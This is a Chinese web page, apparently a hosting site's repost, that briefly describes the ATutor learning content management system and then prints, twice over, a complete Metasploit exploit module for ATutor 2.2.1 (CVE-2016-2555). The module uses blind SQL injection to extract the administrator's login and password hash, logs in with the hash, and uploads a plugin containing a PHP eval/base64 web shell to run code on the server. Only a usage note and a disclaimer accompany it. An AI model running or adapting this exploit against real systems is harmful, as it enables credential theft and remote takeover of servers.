教学内容管理系统ATutor 2.2.1注入漏洞

Atutor是一款开源的“教学内容管理系统”(Learning Content Management System,简称LCMS)。采用PHP、MySQL,HTTP Web 服务器推荐使用Apache。

[[163568]]

Atutor除了教学内容管理的功能,还包括了简化的论坛、聊天室等,另外通过模块安装,还可以扩展功能:

EWiki,ErFurtWiki在Atutor的实现;

ATalker,基于网页的文本朗读工具。

Atutor支持二十多种语言,包括中文,志愿者可以参加翻译等工作。

下面漏洞利用代码基于metasploit平台

使用方法:保存下面的代码,后缀名为.rb,然后放到metasploit脚本目录下,载入即可

以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责。

  1.  
  2. 以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责  
  3.  
  4. Ruby  
  5.  
  6. require 'msf/core' 
  7.    
  8. class Metasploit3 < Msf::Exploit::Remote  
  9.   Rank = ExcellentRanking  
  10.    
  11.   include Msf::Exploit::Remote::HttpClient  
  12.   include Msf::Exploit::FileDropper  
  13.    
  14.   def initialize(info={})  
  15.     super(update_info(info,  
  16.       'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',  
  17.       'Description'    => %q{  
  18.          This module exploits a SQL Injection vulnerability and an authentication weakness  
  19.          vulnerability in ATutor. This essentially means an attacker can bypass authenication  
  20.          and reach the administrators interface where they can upload malcious code.  
  21.    
  22.          You are required to login to the target to reach the SQL Injection, however this  
  23.          can be done as a student account and remote registration is enabled by default.  
  24.       },  
  25.       'License'        => MSF_LICENSE,  
  26.       'Author'         =>  
  27.         [  
  28.           'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code  
  29.         ],  
  30.       'References'     =>  
  31.         [  
  32.           [ 'CVE''2016-2555'  ],  
  33.           [ 'URL''http://www.atutor.ca/' ] # Official Website  
  34.         ],  
  35.       'Privileged'     => false,  
  36.       'Payload'        =>  
  37.         {  
  38.           'DisableNops' => true,  
  39.         },  
  40.       'Platform'       => ['php'],  
  41.       'Arch'           => ARCH_PHP,  
  42.       'Targets'        => [[ 'Automatic', { }]],  
  43.       'DisclosureDate' => 'Mar 1 2016',  
  44.       'DefaultTarget'  => 0))  
  45.    
  46.     register_options(  
  47.       [  
  48.         OptString.new('TARGETURI', [true'The path of Atutor''/ATutor/']),  
  49.         OptString.new('USERNAME', [true'The username to authenticate as']),  
  50.         OptString.new('PASSWORD', [true'The password to authenticate with'])  
  51.       ],self.class)  
  52.   end 
  53.    
  54.   def print_status(msg='')  
  55.     super("#{peer} - #{msg}")  
  56.   end 
  57.    
  58.   def print_error(msg='')  
  59.     super("#{peer} - #{msg}")  
  60.   end 
  61.    
  62.   def print_good(msg='')  
  63.     super("#{peer} - #{msg}")  
  64.   end 
  65.    
  66.   def check 
  67.     # the only way to test if the target is vuln  
  68.     begin 
  69.       test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  70.     rescue Msf::Exploit::Failed => e  
  71.       vprint_error(e.message)  
  72.       return Exploit::CheckCode::Unknown  
  73.     end 
  74.    
  75.     if test_injection(test_cookie)  
  76.       return Exploit::CheckCode::Vulnerable  
  77.     else 
  78.       return Exploit::CheckCode::Safe  
  79.     end 
  80.   end 
  81.    
  82.   def create_zip_file  
  83.     zip_file      = Rex::Zip::Archive.new  
  84.     @header       = Rex::Text.rand_text_alpha_upper(4)  
  85.     @payload_name = Rex::Text.rand_text_alpha_lower(4)  
  86.     @plugin_name  = Rex::Text.rand_text_alpha_lower(3)  
  87.    
  88.     path = "#{@plugin_name}/#{@payload_name}.php" 
  89.     register_file_for_cleanup("#{@payload_name}.php""../../content/module/#{path}")  
  90.    
  91.     zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")  
  92.     zip_file.pack  
  93.   end 
  94.    
  95.   def exec_code  
  96.     send_request_cgi({  
  97.       'method'   => 'GET',  
  98.       'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),  
  99.       'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" 
  100.     })  
  101.   end 
  102.    
  103.   def upload_shell(cookie)  
  104.     post_data = Rex::MIME::Message.new  
  105.     post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")  
  106.     post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")  
  107.     data = post_data.to_s  
  108.     res = send_request_cgi({  
  109.       'uri' => normalize_uri(target_uri.path, "mods""_core""modules""install_modules.php"),  
  110.       'method' => 'POST',  
  111.       'data' => data,  
  112.       'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
  113.       'cookie' => cookie,  
  114.       'agent' => 'Mozilla' 
  115.     })  
  116.    
  117.     if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")  
  118.        res = send_request_cgi({  
  119.          'method' => 'GET',  
  120.          'uri'    => normalize_uri(target_uri.path, "mods""_core""modules", res.redirection),  
  121.          'cookie' => cookie,  
  122.          'agent'  => 'Mozilla',  
  123.        })  
  124.        if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")  
  125.           res = send_request_cgi({  
  126.             'method' => 'GET',  
  127.             'uri'    => normalize_uri(target_uri.path, "mods""_core""modules""module_install_step_2.php?mod=#{@plugin_name}"),  
  128.             'cookie' => cookie,  
  129.             'agent'  => 'Mozilla',  
  130.           })  
  131.        return true 
  132.        end 
  133.     end 
  134.    
  135.     # auth failed if we land here, bail  
  136.     fail_with(Failure::Unknown, "Unable to upload php code")  
  137.     return false 
  138.   end 
  139.    
  140.   def get_hashed_password(token, password, bypass)  
  141.     if bypass  
  142.       return Rex::Text.sha1(password + token)  
  143.     else 
  144.       return Rex::Text.sha1(Rex::Text.sha1(password) + token)  
  145.     end 
  146.   end 
  147.    
  148.   def login(username, password, bypass)  
  149.     res = send_request_cgi({  
  150.       'method'   => 'GET',  
  151.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  152.       'agent' => 'Mozilla',  
  153.     })  
  154.    
  155.     token = $1 if res.body =~ /\) \+ \"(.*)\"\);/  
  156.     cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/  
  157.     if bypass  
  158.       password = get_hashed_password(token, passwordtrue)  
  159.     else 
  160.       password = get_hashed_password(token, passwordfalse)  
  161.     end 
  162.    
  163.     res = send_request_cgi({  
  164.       'method'   => 'POST',  
  165.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  166.       'vars_post' => {  
  167.         'form_password_hidden' => password,  
  168.         'form_login' => username,  
  169.         'submit' => 'Login' 
  170.       },  
  171.       'cookie' => cookie,  
  172.       'agent' => 'Mozilla' 
  173.     })  
  174.     cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/  
  175.    
  176.     # this is what happens when no state is maintained by the http client  
  177.     if res && res.code == 302  
  178.        if res.redirection.to_s.include?('bounce.php?course=0')  
  179.         res = send_request_cgi({  
  180.           'method'   => 'GET',  
  181.           'uri'      => normalize_uri(target_uri.path, res.redirection),  
  182.           'cookie' => cookie,  
  183.           'agent' => 'Mozilla' 
  184.         })  
  185.         cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  186.         if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')  
  187.            res = send_request_cgi({  
  188.              'method'   => 'GET',  
  189.              'uri'      => normalize_uri(target_uri.path, res.redirection),  
  190.              'cookie' => cookie,  
  191.              'agent' => 'Mozilla' 
  192.            })  
  193.            cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  194.            return cookie  
  195.           end 
  196.        else res.redirection.to_s.include?('admin/index.php')  
  197.           # if we made it here, we are admin  
  198.           return cookie  
  199.        end 
  200.     end 
  201.    
  202.     # auth failed if we land here, bail  
  203.     fail_with(Failure::NoAccess, "Authentication failed with username #{username}")  
  204.     return nil  
  205.   end 
  206.    
  207.   def perform_request(sqli, cookie)  
  208.     # the search requires a minimum of 3 chars  
  209.     sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" 
  210.     rand_key = Rex::Text.rand_text_alpha(1)  
  211.     res = send_request_cgi({  
  212.       'method'   => 'POST',  
  213.       'uri'      => normalize_uri(target_uri.path, "mods""_standard""social""connections.php"),  
  214.       'vars_post' => {  
  215.         "search_friends_#{rand_key}" => sqli,  
  216.         'rand_key' => rand_key,  
  217.         'search' => 'Search People' 
  218.       },  
  219.       'cookie' => cookie,  
  220.       'agent' => 'Mozilla' 
  221.     })  
  222.     return res.body  
  223.   end 
  224.    
  225.    def dump_the_hash(cookie)  
  226.     extracted_hash = "" 
  227.     sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" 
  228.     login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i  
  229.     for i in 1..login_and_hash_length  
  230.        sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" 
  231.        asciival = generate_sql_and_test(falsefalse, sqli, cookie)  
  232.        if asciival >= 0  
  233.           extracted_hash << asciival.chr  
  234.        end 
  235.     end 
  236.     return extracted_hash.split(":")  
  237.   end 
  238.    
  239.   def get_ascii_value(sql, cookie)  
  240.     lower = 0  
  241.     upper = 126  
  242.     while lower < upper 
  243.        mid = (lower + upper) / 2  
  244.        sqli = "#{sql}>#{mid}" 
  245.        result = perform_request(sqli, cookie)  
  246.        if result =~ /There are \d entries./  
  247.         lower = mid + 1  
  248.        else 
  249.         upper = mid  
  250.        end 
  251.     end 
  252.     if lower > 0 and lower < 126  
  253.        value = lower 
  254.     else 
  255.        sqli = "#{sql}=#{lower}" 
  256.        result = perform_request(sqli, cookie)  
  257.        if result =~ /There are \d entries./  
  258.           value = lower 
  259.        end 
  260.     end 
  261.     return value  
  262.   end 
  263.    
  264.   def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)  
  265.     if do_test  
  266.       if do_true  
  267.         result = perform_request("1=1", cookie)  
  268.         if result =~ /There are \d entries./  
  269.           return true 
  270.         end 
  271.       else not do_true  
  272.         result = perform_request("1=2", cookie)  
  273.         if not result =~ /There are \d entries./  
  274.           return true 
  275.         end 
  276.       end 
  277.     elsif not do_test and sql  
  278.       return get_ascii_value(sql, cookie)  
  279.     end 
  280.   end 
  281.    
  282.   def test_injection(cookie)  
  283.     if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)  
  284.        if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)  
  285.         return true 
  286.        end 
  287.     end 
  288.     return false 
  289.   end 
  290.    
  291.   def report_cred(opts)  
  292.     service_data = {  
  293.       address: rhost,  
  294.       port: rport,  
  295.       service_name: ssl ? 'https' : 'http',  
  296.       protocol: 'tcp',  
  297.       workspace_id: myworkspace_id  
  298.     }  
  299.    
  300.     credential_data = {  
  301.       module_fullname: fullname,  
  302.       post_reference_name: self.refname,  
  303.       private_data: opts[:password],  
  304.       origin_type: :service,  
  305.       private_type: :password,  
  306.       username: opts[:user]  
  307.     }.merge(service_data)  
  308.    
  309.     login_data = {  
  310.       core: create_credential(credential_data),  
  311.       status: Metasploit::Model::Login::Status::SUCCESSFUL,  
  312.       last_attempted_at: Time.now  
  313.     }.merge(service_data)  
  314.    
  315.     create_credential_login(login_data)  
  316.   end 
  317.    
  318.   def exploit  
  319.     student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  320.     print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")  
  321.     report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])  
  322.    
  323.     print_status("Dumping username and password hash...")  
  324.     # we got admin hash now  
  325.     credz = dump_the_hash(student_cookie)  
  326.     print_good("Got the #{credz[0]} hash: #{credz[1]} !")  
  327.     if credz  
  328.       admin_cookie = login(credz[0], credz[1], true)  
  329.       print_status("Logged in as #{credz[0]}, uploading shell...")  
  330.       # install a plugin  
  331.       if upload_shell(admin_cookie)  
  332.         print_good("Shell upload successful!")  
  333.         # boom  
  334.         exec_code  
  335.       end 
  336.     end 
  337.   end 
  338. end 
  339. require 'msf/core' 
  340.    
  341. class Metasploit3 < Msf::Exploit::Remote  
  342.   Rank = ExcellentRanking  
  343.    
  344.   include Msf::Exploit::Remote::HttpClient  
  345.   include Msf::Exploit::FileDropper  
  346.    
  347.   def initialize(info={})  
  348.     super(update_info(info,  
  349.       'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',  
  350.       'Description'    => %q{  
  351.          This module exploits a SQL Injection vulnerability and an authentication weakness  
  352.          vulnerability in ATutor. This essentially means an attacker can bypass authenication  
  353.          and reach the administrators interface where they can upload malcious code.  
  354.    
  355.          You are required to login to the target to reach the SQL Injection, however this  
  356.          can be done as a student account and remote registration is enabled by default.  
  357.       },  
  358.       'License'        => MSF_LICENSE,  
  359.       'Author'         =>  
  360.         [  
  361.           'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code  
  362.         ],  
  363.       'References'     =>  
  364.         [  
  365.           [ 'CVE''2016-2555'  ],  
  366.           [ 'URL''http://www.atutor.ca/' ] # Official Website  
  367.         ],  
  368.       'Privileged'     => false,  
  369.       'Payload'        =>  
  370.         {  
  371.           'DisableNops' => true,  
  372.         },  
  373.       'Platform'       => ['php'],  
  374.       'Arch'           => ARCH_PHP,  
  375.       'Targets'        => [[ 'Automatic', { }]],  
  376.       'DisclosureDate' => 'Mar 1 2016',  
  377.       'DefaultTarget'  => 0))  
  378.    
  379.     register_options(  
  380.       [  
  381.         OptString.new('TARGETURI', [true'The path of Atutor''/ATutor/']),  
  382.         OptString.new('USERNAME', [true'The username to authenticate as']),  
  383.         OptString.new('PASSWORD', [true'The password to authenticate with'])  
  384.       ],self.class)  
  385.   end 
  386.    
  387.   def print_status(msg='')  
  388.     super("#{peer} - #{msg}")  
  389.   end 
  390.    
  391.   def print_error(msg='')  
  392.     super("#{peer} - #{msg}")  
  393.   end 
  394.    
  395.   def print_good(msg='')  
  396.     super("#{peer} - #{msg}")  
  397.   end 
  398.    
  399.   def check 
  400.     # the only way to test if the target is vuln  
  401.     begin 
  402.       test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  403.     rescue Msf::Exploit::Failed => e  
  404.       vprint_error(e.message)  
  405.       return Exploit::CheckCode::Unknown  
  406.     end 
  407.    
  408.     if test_injection(test_cookie)  
  409.       return Exploit::CheckCode::Vulnerable  
  410.     else 
  411.       return Exploit::CheckCode::Safe  
  412.     end 
  413.   end 
  414.    
  415.   def create_zip_file  
  416.     zip_file      = Rex::Zip::Archive.new  
  417.     @header       = Rex::Text.rand_text_alpha_upper(4)  
  418.     @payload_name = Rex::Text.rand_text_alpha_lower(4)  
  419.     @plugin_name  = Rex::Text.rand_text_alpha_lower(3)  
  420.    
  421.     path = "#{@plugin_name}/#{@payload_name}.php" 
  422.     register_file_for_cleanup("#{@payload_name}.php""../../content/module/#{path}")  
  423.    
  424.     zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")  
  425.     zip_file.pack  
  426.   end 
  427.    
  428.   def exec_code  
  429.     send_request_cgi({  
  430.       'method'   => 'GET',  
  431.       'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),  
  432.       'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" 
  433.     })  
  434.   end 
  435.    
  436.   def upload_shell(cookie)  
  437.     post_data = Rex::MIME::Message.new  
  438.     post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")  
  439.     post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")  
  440.     data = post_data.to_s  
  441.     res = send_request_cgi({  
  442.       'uri' => normalize_uri(target_uri.path, "mods""_core""modules""install_modules.php"),  
  443.       'method' => 'POST',  
  444.       'data' => data,  
  445.       'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
  446.       'cookie' => cookie,  
  447.       'agent' => 'Mozilla' 
  448.     })  
  449.    
  450.     if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")  
  451.        res = send_request_cgi({  
  452.          'method' => 'GET',  
  453.          'uri'    => normalize_uri(target_uri.path, "mods""_core""modules", res.redirection),  
  454.          'cookie' => cookie,  
  455.          'agent'  => 'Mozilla',  
  456.        })  
  457.        if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")  
  458.           res = send_request_cgi({  
  459.             'method' => 'GET',  
  460.             'uri'    => normalize_uri(target_uri.path, "mods""_core""modules""module_install_step_2.php?mod=#{@plugin_name}"),  
  461.             'cookie' => cookie,  
  462.             'agent'  => 'Mozilla',  
  463.           })  
  464.        return true 
  465.        end 
  466.     end 
  467.    
  468.     # auth failed if we land here, bail  
  469.     fail_with(Failure::Unknown, "Unable to upload php code")  
  470.     return false 
  471.   end 
  472.    
  473.   def get_hashed_password(token, password, bypass)  
  474.     if bypass  
  475.       return Rex::Text.sha1(password + token)  
  476.     else 
  477.       return Rex::Text.sha1(Rex::Text.sha1(password) + token)  
  478.     end 
  479.   end 
  480.    
  481.   def login(username, password, bypass)  
  482.     res = send_request_cgi({  
  483.       'method'   => 'GET',  
  484.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  485.       'agent' => 'Mozilla',  
  486.     })  
  487.    
  488.     token = $1 if res.body =~ /\) \+ \"(.*)\"\);/  
  489.     cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/  
  490.     if bypass  
  491.       password = get_hashed_password(token, passwordtrue)  
  492.     else 
  493.       password = get_hashed_password(token, passwordfalse)  
  494.     end 
  495.    
  496.     res = send_request_cgi({  
  497.       'method'   => 'POST',  
  498.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  499.       'vars_post' => {  
  500.         'form_password_hidden' => password,  
  501.         'form_login' => username,  
  502.         'submit' => 'Login' 
  503.       },  
  504.       'cookie' => cookie,  
  505.       'agent' => 'Mozilla' 
  506.     })  
  507.     cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/  
  508.    
  509.     # this is what happens when no state is maintained by the http client  
  510.     if res && res.code == 302  
  511.        if res.redirection.to_s.include?('bounce.php?course=0')  
  512.         res = send_request_cgi({  
  513.           'method'   => 'GET',  
  514.           'uri'      => normalize_uri(target_uri.path, res.redirection),  
  515.           'cookie' => cookie,  
  516.           'agent' => 'Mozilla' 
  517.         })  
  518.         cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  519.         if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')  
  520.            res = send_request_cgi({  
  521.              'method'   => 'GET',  
  522.              'uri'      => normalize_uri(target_uri.path, res.redirection),  
  523.              'cookie' => cookie,  
  524.              'agent' => 'Mozilla' 
  525.            })  
  526.            cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  527.            return cookie  
  528.           end 
  529.        else res.redirection.to_s.include?('admin/index.php')  
  530.           # if we made it here, we are admin  
  531.           return cookie  
  532.        end 
  533.     end 
  534.    
  535.     # auth failed if we land here, bail  
  536.     fail_with(Failure::NoAccess, "Authentication failed with username #{username}")  
  537.     return nil  
  538.   end 
  539.    
  540.   def perform_request(sqli, cookie)  
  541.     # the search requires a minimum of 3 chars  
  542.     sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" 
  543.     rand_key = Rex::Text.rand_text_alpha(1)  
  544.     res = send_request_cgi({  
  545.       'method'   => 'POST',  
  546.       'uri'      => normalize_uri(target_uri.path, "mods""_standard""social""connections.php"),  
  547.       'vars_post' => {  
  548.         "search_friends_#{rand_key}" => sqli,  
  549.         'rand_key' => rand_key,  
  550.         'search' => 'Search People' 
  551.       },  
  552.       'cookie' => cookie,  
  553.       'agent' => 'Mozilla' 
  554.     })  
  555.     return res.body  
  556.   end 
  557.    
  558.    def dump_the_hash(cookie)  
  559.     extracted_hash = "" 
  560.     sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" 
  561.     login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i  
  562.     for i in 1..login_and_hash_length  
  563.        sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" 
  564.        asciival = generate_sql_and_test(falsefalse, sqli, cookie)  
  565.        if asciival >= 0  
  566.           extracted_hash << asciival.chr  
  567.        end 
  568.     end 
  569.     return extracted_hash.split(":")  
  570.   end 
  571.    
  572.   def get_ascii_value(sql, cookie)  
  573.     lower = 0  
  574.     upper = 126  
  575.     while lower < upper 
  576.        mid = (lower + upper) / 2  
  577.        sqli = "#{sql}>#{mid}" 
  578.        result = perform_request(sqli, cookie)  
  579.        if result =~ /There are \d entries./  
  580.         lower = mid + 1  
  581.        else 
  582.         upper = mid  
  583.        end 
  584.     end 
  585.     if lower > 0 and lower < 126  
  586.        value = lower 
  587.     else 
  588.        sqli = "#{sql}=#{lower}" 
  589.        result = perform_request(sqli, cookie)  
  590.        if result =~ /There are \d entries./  
  591.           value = lower 
  592.        end 
  593.     end 
  594.     return value  
  595.   end 
  596.    
  597.   def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)  
  598.     if do_test  
  599.       if do_true  
  600.         result = perform_request("1=1", cookie)  
  601.         if result =~ /There are \d entries./  
  602.           return true 
  603.         end 
  604.       else not do_true  
  605.         result = perform_request("1=2", cookie)  
  606.         if not result =~ /There are \d entries./  
  607.           return true 
  608.         end 
  609.       end 
  610.     elsif not do_test and sql  
  611.       return get_ascii_value(sql, cookie)  
  612.     end 
  613.   end 
  614.    
  615.   def test_injection(cookie)  
  616.     if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)  
  617.        if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)  
  618.         return true 
  619.        end 
  620.     end 
  621.     return false 
  622.   end 
  623.    
  624.   def report_cred(opts)  
  625.     service_data = {  
  626.       address: rhost,  
  627.       port: rport,  
  628.       service_name: ssl ? 'https' : 'http',  
  629.       protocol: 'tcp',  
  630.       workspace_id: myworkspace_id  
  631.     }  
  632.    
  633.     credential_data = {  
  634.       module_fullname: fullname,  
  635.       post_reference_name: self.refname,  
  636.       private_data: opts[:password],  
  637.       origin_type: :service,  
  638.       private_type: :password,  
  639.       username: opts[:user]  
  640.     }.merge(service_data)  
  641.    
  642.     login_data = {  
  643.       core: create_credential(credential_data),  
  644.       status: Metasploit::Model::Login::Status::SUCCESSFUL,  
  645.       last_attempted_at: Time.now  
  646.     }.merge(service_data)  
  647.    
  648.     create_credential_login(login_data)  
  649.   end 
  650.    
  651.   def exploit  
  652.     student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  653.     print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")  
  654.     report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])  
  655.    
  656.     print_status("Dumping username and password hash...")  
  657.     # we got admin hash now  
  658.     credz = dump_the_hash(student_cookie)  
  659.     print_good("Got the #{credz[0]} hash: #{credz[1]} !")  
  660.     if credz  
  661.       admin_cookie = login(credz[0], credz[1], true)  
  662.       print_status("Logged in as #{credz[0]}, uploading shell...")  
  663.       # install a plugin  
  664.       if upload_shell(admin_cookie)  
  665.         print_good("Shell upload successful!")  
  666.         # boom  
  667.         exec_code  
  668.       end 
  669.     end 
  670.   end 
  671. end 
  672.    
  673.  

 

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/145853.html<

(0)
管理的头像管理
上一篇2025-03-10 19:52
下一篇 2025-03-10 19:53

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注